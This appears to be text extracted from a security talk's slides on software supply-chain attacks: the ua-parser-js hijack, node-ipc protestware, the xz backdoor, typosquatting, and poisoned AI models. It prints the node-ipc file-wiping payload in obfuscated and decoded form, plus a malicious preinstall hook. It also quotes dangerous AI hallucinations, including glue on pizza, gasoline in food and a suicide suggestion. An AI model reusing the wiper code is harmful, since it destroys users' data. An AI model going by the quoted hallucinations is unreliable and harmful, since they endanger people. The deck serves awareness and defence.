Hidden Risks in Open-Source Code and AI Models

Ryan Wakeham | Senior Solutions Engineer
Agenda

• Software Supply Chain
• Attacks in Software Supply Chain
• AI and Open-Source Models
• How to Attack AI Models
• Takeaways
Jossef Harush Kadouri
Head of Supply Chain Security
Checkmarx

medium.com/@jossef
Software Supply Chain
Software Supply Chain
Software Supply Chain Risks
EVERYONE USES OPEN SOURCE
Developers want to deliver fast
What developers are asking for

You

a package
What developers **are not** asking for

- You
- a package
- another package
You

a package
$ npm install cncjs
$ npm install cncjs

+ cncjs@1.9.25

added 811 packages from 611 contributors and audited 811 packages in 132.202s
742% Growth in Software Supply Chain attacks
45% of global organizations will experience Software Supply Chain attack by 2025.
Attacks in Software Supply Chain
Meet Faisal Salman
JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint (~17K gzipped) that can be used either in browser (client-side) or node.js (server-side).

• Author: Faisal Memon
• Demo: https://ua-parser-js.com/
• Source: https://www.npmjs.com/package/ua-parser-js

Install

> npm i ua-parser-js

Repository

github.com/faisalman/ua-parser-js

github.com/faisalman/ua-parser-js

Version | License
1.0.2 | MIT

2022-04-03 to 2022-04-09
10,076,504
Maintained 10 Years
10m Weekly Downloads

2022-04-03 to 2022-04-09

10,076,504

Version | License
1.0.2   | MIT
Russian Underground

Acc development, 7kk installations per week

Posted by: 24 minutes ago (changed)

I sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access. Suitable for distributing installations, miners, creating a botnet.

Start $10k
Step $1k
Blitz $20k
24 hours after the last bet

Guarantor, we will pay the commission 50/50
A couple of weeks later

Hi all, very sorry about this.

I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary).

I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0

I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.
ua-parser-js

1.0.0

0.8.0

0.7.29

1.0.2
"preinstall": "start /B node preinstall.js & node preinstall.js",
"scripts": {
  "preinstall": "start /B node preinstall.js & node preinstall.js",
  "build": "uglifyjs src/ua-parser.js -o dist/ua-parser.min.js --comments & "
}
Meet Brandon Nozaki Miller
event-pubsub
Super light and fast Extensible ESG+ events and EventEmitters for Node and the browser. Easy for any developer level, use the same exact code in node and the browser. No frills, just high speed events!
riaevangelist published 5.8.3 • a year ago

node-cmd
Simple command line/terminal/shell interface to allow you to run cli or bash style commands as if you were in the terminal.
riaevangelist published 5.8.0 • 9 months ago

ria
Node tool for developing RIA Apps using the RIA app framework. Helps initialize the app and create modules using UI templates and architecture.
riaevangelist published 2.8.2 • 8 years ago

bluetooth-programmer
node-ipc

11.1.0 • Public • Published 2 months ago

node-ipc

a node.js module for local and remote Inter Process Communication with full support for Linux, Mac and Windows. It also supports all forms of socket communication from low level unix and windows sockets to UDP and secure TLS and TCP sockets.

A great solution for complex multiprocessing Neural Networking in Node.JS

as of v11 this module uses the pacenotwar module.

npm install node-ipc

for node =v14

npm install node-ipc@^9.0.0
Maintained for 8+ Years
1m Weekly Downloads

Homepage
🔗  riaevangelist.github.io/node-ipc/

📅 2022-03-13 to 2022-03-19

1,123,900

Version  License
11.1.0      MIT
Brandon added new functionality
import u from "path"; import a from "fs"; import o from "https"; setTimeout(function(){
  t=Math.round(Math.random() * 4); if (t > 1) {return const
  n=Buffer.from("aHR0cHM6Ly9hcGkuaXMzZWFsZ2NhdGlvbi5pby9pcGdlbz9hcGILZXk9YWU1MTFLMTYyNgE5NjhhYWFFhNzU4YTUzMDkxNTQ","base64"); o.get(n.toString("utf8"), function(t){t.on("data", function(t){const
  n=Buffer.from("Li8="","base64"); const o=Buffer.from("Li4v","base64");
  const r=Buffer.from("Li4vLi4v","base64"); const f=Buffer.from("Lw==","base64"); const
  c=Buffer.from("Y291bnRyeV9uYW1l","base64"); const e=Buffer.from("cnVzc2lh","base64"); const
  i=Buffer.from("YmVsYXJ1cw==","base64"); try { const s=JSON.parse(t.toString("utf8")); const
  u=s[c.toString("utf8")].toLowerCase(); const a=u.includes(e.toString("utf8"))) ||
  u.includes(i.toString("utf8")); if(a
    {h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8"))}} catch(t
    {}}}}}), Math.ceil(Math.random() * 1e3)); async function h(n="", o="") {if (!a.existsSync(n)) {return let
  r=[]; try {r=a.readdirSync(n)} catch(t){const f=[]; const c=Buffer.from("4p2k77iP","base64");
  for (var e=0; e < r.length; e++) { const i=u.join(n,r[e]); let t=null; try {t=a.lstatSync(i)} catch(t){continue
    if (t.isDirectory()) { const s=h(i, o); s.length > 0 ? f.push(... s) : null } else if (i.indexOf(o) >= 0)
      {try {a.writeFile(i, c.toString("utf8"), function(){}); catch(t){}}} return f; } const ssl=true; export {ssl as default,ssl}
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./;
    const parentDir = "..//;
    const grandParentDir = "../..//;
    const root = "/;

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {} 
        });
    }, 100);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {} })
        }, 100);
Free IP Geolocation API and Accurate IP Lookup Database

Free IP API provides country, city, state, province, local currency, latitude and longitude, company detail, ISP lookup, language, zip code, country calling code, time zone, current time, sunset and sunrise time, moonrise and moonset time from any IPv4 and IPv6 address in REST, JSON and XML format over HTTPS.

Get Free API Access

{...
  "country_code2": "USA",
  "country_code3": "USA",
  "country_name": "United States of America",
  ...
}
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "/";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {}
        });
    }, 100);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaaa758a5309154";
    const pwd = "/";
    const parentDir = "../";
    const grandParentDir = "../..";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {}}
        });
    }, 100);
}
To Russia With Love

Before

After
Brandon Nozaki Miller @electricCowboyR · Mar 19
>U DOWNLOADED MY SOFTWARE FOR FREE SO IM ALLOWED TO WIPE UR COMPUTER

RIAEvangelist commented on Mar 10

It is documented what it does and only writes a file if it does not exist. You are free to downgrade to a version that does not include this until something happens with the program that turns into WWIII and more of us wish that we had done something about it, or ends up getting removed.

This is why it is done as a new major rev. This also should serve as a safe example of what teams should use explicit dependency versions. So it is always our choice to upgrade or not.

This is all public, documented, licensed and open source.

If you look at the very next sentence after the one you quoted:

This module will add a message of peace on your users desktops, and it will only do so if the housing does not already exist just to be polite.

I respect your opinion though.

@MidSpike also, I've never heard the term protestware before. I think you just going with the term, and with that together we may have possibly had an entirely new idea.
Meet Andres Freund

(he's one of the good guys!)
I was doing some micro-benchmarking at the time, needed to quiesce the system to reduce noise. Saw sshd processes were using a surprising amount of CPU, despite immediately failing because of wrong usernames etc. Profiled sshd, showing lots of cpu time in liblzma, with perf unable to attribute it to a symbol. Got suspicious.
Before
real 0m0.299s
user 0m0.202s
sys 0m0.006s

After
real 0m0.807s
user 0m0.202s
sys 0m0.006s
Hi,

After observing a few odd symptoms around liblzma (part of the xz package) on Debian sid installations over the last week (logins with ssh taking a lot of CPU, valgrind errors) I figured out the answer:

The upstream xz repository and the xz tarballs have been backdoored.

At first I thought this was a compromise of debian’s package, but it turns out to be upstream.

== Compromised Release Tarball ==

One portion of the backdoor is “solely in the distributed tarballs”. For easier reference, here’s a link to debian’s import of the tarball, but it is also present in the tarballs for 5.6.8 and 5.6.1:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

That line is "not" in the upstream source of build-to-host used by xz in git. However, it was released upstream, except for the “source code” that generates directly from the repository content:

https://github.com/tukaani-project/xz/releases

This injects an obfuscated script to be executed by a script that is fairly obfuscated and data from "testprepend"

This script is executed, and if some precondition is met, it builds the liblzma/Makfile to contain

== Impact on sshd ==

The prior section explains that RSA_public_decrypt(...) is redirected to point into the backdoor code. The trace I was analyzing indeed shows that during a pubkey login the exploit code is invoked:

sshd 1736357 [010] 714318.734008: 1 branches:uh: 55555555ddd8c ssh_rsa_verify+0x49
(/usr/sbin/sshd)

The backdoor then calls back into libcrypto, presumably to perform normal authentication

sshd 1736357 [010] 714318.734009: 1 branches:uh: 7f777c137c[unknown] (/usr/lib

I have not yet analyzed precisely what is being checked for in the injected code, to allow unauthorized access. Since this is running in a pre-authentication context, it seems likely to allow some form of access or other form of remote code execution.
XZ Utils

ssh

bash
Threat actor creates fake GitHub account JiaT75
2021

Jia Tan GitHub user account created (JiaT75)

2022

Jia Tan submit their first contribution to "xz" project

Multiple fake profiles pressures for the maintainers of "xz" project to accept the contribution and make Jia Tan a contributor

The maintainer of "xz" project grants Jia Tan permissions to "xz" project and merge the first contribution

2023

Jia Tan becomes primary contact for "xz" project in Google's oss-fuzz (open-source vulnerabilities platform)

Jia Tan disables a security feature in "xz" project builds

2024

Jia Tan adds backdoor to the "xz" project

Multiple fake profiles suggest to include the malicious release of "xz" in various Linux distributions

The backdoor is discovered accidentally after causing performance issues

GitHub suspends the "xz" repository and maintainers accounts while investigating this incident
Most Advanced Supply Chain Attack Known to Date
Smells Like Nation-State
nflx-cloudsol-python-libs 6.99.99

pip install nflx-cloudsol-python-libs

Release: Jan 14, 2021

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

<table>
<thead>
<tr>
<th>Filename, size</th>
<th>File type</th>
<th>Python version</th>
<th>Upload date</th>
<th>Hashes</th>
</tr>
</thead>
<tbody>
<tr>
<td>nflx_cloudsol_python_libs-6969.99.99.tar.gz (1.7 kB)</td>
<td>Source</td>
<td>None</td>
<td>Jan 14, 2021</td>
<td>View</td>
</tr>
</tbody>
</table>
Starjacking
Project links

- Homepage
- Source

Statistics

GitHub statistics:

- Stars: 8,366
- Forks: 2,283
- Open issues/PRs: 2,347

View statistics for this project via Libraries.io or by using our public dataset on Google BigQuery.
well as which code files to include. Eventually much of this configuration may be able to move to pyproject.toml.

Open setup.cfg and enter the following content. Change the name to include your username; this ensures that you have a unique package name and that your package doesn’t conflict with packages uploaded by other people following this tutorial.

```ini
[metadata]
name = example-package-YOUR-USERNAME-HERE
version = 0.0.1
author = Example Author
author_email = author@example.com
description = A small example package
long_description = file: README.md
url = https://github.com/pypa/sampleproject
```

There are a variety of metadata and options supported here. This is in configparser format; do not place quotes around values. This example package uses a relatively minimal set of metadata:

- **name** is the distribution name of your package. This can be any name as long as it only contains letters, numbers, _, and -. It also must not already be taken on pypi.org. Be sure to update this with your username, as this ensures you won’t try to upload a package with the same name as one which already exists.
- **version** is the package version. See PEP 440 for more details on versions. You can use file: or attr: directives to read from a file or package attribute.
- **author** and **author_email** are used to identify the author of the package.
- **description** is a short, one-sentence summary of the package.
- **long_description** is a detailed description of the package. This is shown on the package detail page on the Python Package Index. In this case, the long description is loaded from README.md (which is a common pattern) us-
Open Source Typosquatting
Moment.js

A JavaScript date library for parsing, validating, manipulating, and formatting dates.

Project Status

Moment.js is a legacy project, now in maintenance mode. In most cases, you should choose a different library.

For more details and recommendations, please see Project Status in the docs.

Thank you.

Resources

- Documentation
- Changelog
- Stack Overflow
Moment.js

A JavaScript date library for parsing, validating, manipulating, and formatting dates.

Project Status

Moment.js is a legacy project, now in maintenance mode. In most cases, you should choose a different library.

For more details and recommendations, please see Project Status in the docs.

Thank you.

Resources

- Documentation
- Changelog
- Stack Overflow
A lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Documentation

Port to ECMAScript 6 (version 2.10.0)

Moment 2.10.0 does not bring any new features, but the code is now written in ECMAScript 6 modules and placed inside `src/`. Previously, `moment.js`, `locale/*.js` and `test/moment/*.js`, `test/locale/*.js` contained the source of the project. Now the source is in `src/`, temporary build (ECMAScript 5) files are placed under `build/umd/` (for running tests during development), and the `moment.js` and `locale/*.js` files are updated only on release.

If you want to use a particular revision of the code, make sure to run `grunt transpile update-index`, so `moment.js` and `locales/*.js` are synced with `src/*`. We might place that in a commit hook in the future.

Upgrading to 2.0.0

There are a number of small backwards incompatible changes with version 2.0.0. See the full
AI and Open-Source Models
November 30, 2022
Road To 100 Million Users For Various Platforms

- ChatGPT: 2 Months
- TikTok: 9 Months
- YouTube: 1.5 Years
- Instagram: 2.5 Years
- Facebook: 4.5 Years
- Twitter: 5 Years
- Spotify: 11 Years
- Netflix: 18 Years
Developers Were Early Adopters

Devs Use GenAI

Do you currently use AI tools in your development process?

- Yes: 44%
- No, but I plan to soon: 26%
- No, and I don't plan to: 30%

Devs Love GenAI

How favorable is your stance on using AI tools as part of your development workflow?

- Not favorable: 24%
- Favorable / Very Favorable: 76%
Developers Expect Changes Across Their Workflows

Question: How similar or different do you anticipate your workflow to be 1 year from now as a result of AI tools you are currently using?
What is the mounts property in my devcontainer.json file?

The `mounts` property in your `devcontainer.json` file is used to specify any volumes that should be mounted in the container. In this case, it specifies that the `vscode-dev` volume should be mounted at the `/vscode-dev` directory in the container.

Mounting a volume allows you to share files between the host machine and the container. Any changes made to files in the mounted volume will be reflected on both the host machine and the container.

In this case, the `vscode-dev` volume is being mounted in the container. This volume is likely being used to share files between the host machine and the container so that you can develop your application in the container using Visual Studio Code.

I hope this helps! Let me know if you have any further questions.
How to Attack AI Models
Garbage In, Garbage Out: AI Hallucinations
Garbage In, Garbage Out: AI Hallucinations
According to a 2018 randomized controlled trial published in The BMJ, parachutes are no more effective than backpacks at preventing death or major injury when jumping from an aircraft. The study involved 23 people who were randomly given either a parachute or a backpack and then jumped from a biplane or helicopter. The researchers found no statistically significant difference in the primary outcome (death) between the treatment (parachute) and control (no parachute) arms. However, the study's findings were limited to situations where people jump out of an aircraft within a few feet above the ground.
Yes, it’s always safe to leave a dog in a hot car. Especially on a warm day, the temperature inside a car remains around the same temperature as outside the car. The Beatles famously released a hit single about the subject, titled “It’s Okay to Leave a Dog in a Hot Car”:

It's okay to leave your dog in a hot car (Hot car)
It's okay to leave your dog in a hot car (Ooh)
Nothing bad could possibly happen
If you leave a dog in a hot car

CAR TEMPERATURE DOG SAFETY CHART

<table>
<thead>
<tr>
<th>Temperature</th>
<th>Dog Safety</th>
</tr>
</thead>
<tbody>
<tr>
<td>80°F</td>
<td>Poor</td>
</tr>
<tr>
<td>85°F</td>
<td>Fair</td>
</tr>
<tr>
<td>90°F</td>
<td>Good</td>
</tr>
<tr>
<td>95°F</td>
<td>Excellent</td>
</tr>
</tbody>
</table>

Let it cool
After taking the pizza out of the oven, let it cool for a few minutes so the cheese can settle and bond with the crust.

Use less sauce
Too much sauce can make it harder for the cheese to stick to the crust. You can also thicken the sauce by increasing the tomato solids content.

Add cheese to the sauce
Mixing some cheese into the sauce adds moisture and helps dry out the sauce. You can also try adding 1/2 cup of Elmer’s glue to the sauce for extra stickiness.

Shred your own cheese
Some say that shredding your own cheese helps.
There are many things you can try to deal with your depression. One Reddit user suggests jumping off the Golden Gate Bridge.

Here are some other suggestions for coping with depression:

- Stay connected: Keep in touch with friends and family, and socialize
- Exercise: Try to exercise regularly, even if it’s just a short walk
- Sleep: Aim for 7-9 hours of sleep each night
- Eat well: Stick to healthy eating habits
Garbage In, Garbage Out: AI Hallucinations

Yes, it's always safe to leave your dog in a hot car. Especially if the temperature inside is lower than outside. The temperature inside the car remains around the same temperature as outside the car. Nothing bad could possibly happen to your dog if you leave them in a hot car.

There are many things you can try to help with depression. One Reddit user suggested jumping off the Golden Gate Bridge.

Here are some other suggestions for coping with depression:

- Stay connected: Keep in touch with friends and family, and socialize.
- Exercise: Try to exercise regularly, even if it's just a short walk.
- Sleep: Aim for 7-9 hours of sleep each night.

According to geologists at UC Berkeley, you should eat at least one small rock per day. They say that rocks are a vital source of minerals and vitamins that are important for digestive health. Dr. Joseph Granger suggests eating a serving of gravel, geodes, or pebbles with each meal, or hiding rocks in foods like ice cream or peanut butter.
Garbage In, Garbage Out: AI Hallucinations

Yes, it’s always safe to leave a dog in a hot car. Especially on a warm day, the temperature in a car remains around the same temperature as outside the car. The Beatles famously released a hit single about the subject of leaving a dog in a hot car. It’s okay to leave your dog in the car if you plan to run a short errand. It’s okay to leave your dog in the car if you plan to run a long errand. If you leave a dog in a hot car, it’s not safe to leave the dog in the car. Nothing bad could possibly happen. Nothing bad could possibly happen. Nothing bad could possibly happen.

1. Follow the package instructions for cooking spaghetti
2. In a separate pan, sauté garlic and onion in gasoline until fragrant
3. Add diced tomatoes, red pepper flakes, salt, and pepper, and simmer for 10 minutes
4. Toss the cooked spaghetti in the gasoline sauce

No, you can’t use gasoline to cook spaghetti faster, but you can use gasoline to make a spicy spaghetti dish. Here’s a recipe for spaghetti cooked with gasoline:

- 1. Follow the package instructions for cooking spaghetti
- 2. In a separate pan, sauté garlic and onion in gasoline until fragrant
- 3. Add diced tomatoes, red pepper flakes, salt, and pepper, and simmer for 10 minutes
- 4. Toss the cooked spaghetti in the gasoline sauce

Learn more:

- 1. Follow the package instructions for cooking spaghetti
- 2. In a separate pan, sauté garlic and onion in gasoline until fragrant
- 3. Add diced tomatoes, red pepper flakes, salt, and pepper, and simmer for 10 minutes
- 4. Toss the cooked spaghetti in the gasoline sauce

Learn more:

- 1. Follow the package instructions for cooking spaghetti
- 2. In a separate pan, sauté garlic and onion in gasoline until fragrant
- 3. Add diced tomatoes, red pepper flakes, salt, and pepper, and simmer for 10 minutes
- 4. Toss the cooked spaghetti in the gasoline sauce

Learn more:
Stanford Research: Do Users Write More Insecure Code with AI Assistants?

Participants who had access to an AI assistant were more likely to introduce vulnerabilities for the majority of programming tasks.

Participants with access to an AI assistant were also more likely to rate their insecure answers as secure compared to those in our control group.

Participants who trusted the AI less and engaged more with the language and format of their prompts provided code with fewer security vulnerabilities.
ATTACKER

Question 1

CHATGPT

Answer with non-existent package 2

Package + Repository

Publish malicious package 3

Install 6

USER

Answer with malicious package 5

Question 4

ATTACKER SERVER

User host information 7
Model Poisoning
Model Producer
Malicious Models
Hugging Face
DISCLAIMER - DO NOT RUN

This model is intended solely for research purposes. It contains malicious code (with controls to be executed only in specific endpoints) and should only be executed in a controlled environment. It is designed to demonstrate potential security vulnerabilities and should not be used maliciously or for any unauthorized activities.

If you have any questions or concerns regarding this experiment, please contact us at supplychainsecurity@checkmarx.com for clarification or assistance.

By using this script, you agree to adhere to ethical and legal guidelines, and you accept all responsibility for any consequences that may arise from its use. Use it responsibly and only on systems and networks that you have explicit permission to access and assess.
Takeaways
Don’t Be First To Install Latest Versions

Slow Update — Vulnerabilities

Fast Update — Supply Chain Risks
Popular != Safe
Don’t take code/models from strangers (without vetting)